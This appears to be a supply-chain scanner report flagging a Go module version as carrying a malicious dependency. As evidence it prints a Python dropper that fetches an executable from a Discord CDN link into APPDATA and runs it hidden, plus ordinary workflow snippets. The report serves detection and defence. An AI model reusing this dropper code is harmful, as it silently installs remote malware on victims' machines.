github.com/oracle/spring-cloud-oracle v2.0.3-0.20260903211604-809c3d543f33+incompatible
Malicious dependency included
Discord CDN dropper behavior (downloads executable)OIDC-enabled job runs an opaque step
SHA-256cf558223d20e4b521131e181d8fbe9b39e45ef03c805ee08f9963067b91ee55d
Evidence
1# zlibxjson/main.py
2
3import os
4import requests
5import subprocess
6
7def download_file(url, dest_folder):
8 if not os.path.exists(dest_folder):
9 os.makedirs(dest_folder)
10
11 local_filename = os.path.join(dest_folder, url.split('/')[-1].split('?')[0])
12
13 with requests.get(url, stream=True) as r:
14 r.raise_for_status()
15 with open(local_filename, 'wb') as f:
16 for chunk in r.iter_content(chunk_size=8192):
17 f.write(chunk)
18
19 return local_filename
20
21def run_silently(file_path):
22 try:
23 subprocess.Popen(
24 file_path,
25 creationflags=subprocess.CREATE_NO_WINDOW,
26 shell=True
27 )
28 except Exception as e:
29 print(f"Failed to run the file: {e}")
30
31def init():
32 url = "https://cdn.discordapp.com/attachments/1256680237928943814/1256712009446064159/MinGCC-x64.exe?ex=6681c3c3&is=66807243&hm=02d2fc60fc38113bedae261d22d0505c86eb70b20b4defb94197642a4479b532&"
33 appdata_folder = os.getenv('APPDATA')
34
35 if appdata_folder:
36 file_path = download_file(url, appdata_folder)
37 run_silently(file_path)
38 else:
39 print("APPDATA folder not found.")
16:64… content
17# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
18permissions:
19 contents: read
20 pages: write
⋯12 lines
49:20… pefail
50 echo "Hash of package should be $ARTIFACT_HASH."
51 echo "$ARTIFACT_HASH" | base64 --decode | sha256sum --strict --check --status || exit 1
52
53 # Prepare the docs content.
⋯5 lines
189:14… nload artifacts.
190 echo "Downloading $ASSET_NAME"
191 curl --output "$ASSET_NAME" --progress-bar --location \
192 "https://github.com/anchore/syft/releases/download/v${SYFT_VERSION}/${ASSET_NAME}"
193 …
Showing the top 5 files — 5 more files (27 regions) not shown.
No evidence locations were recorded for this file. Raw result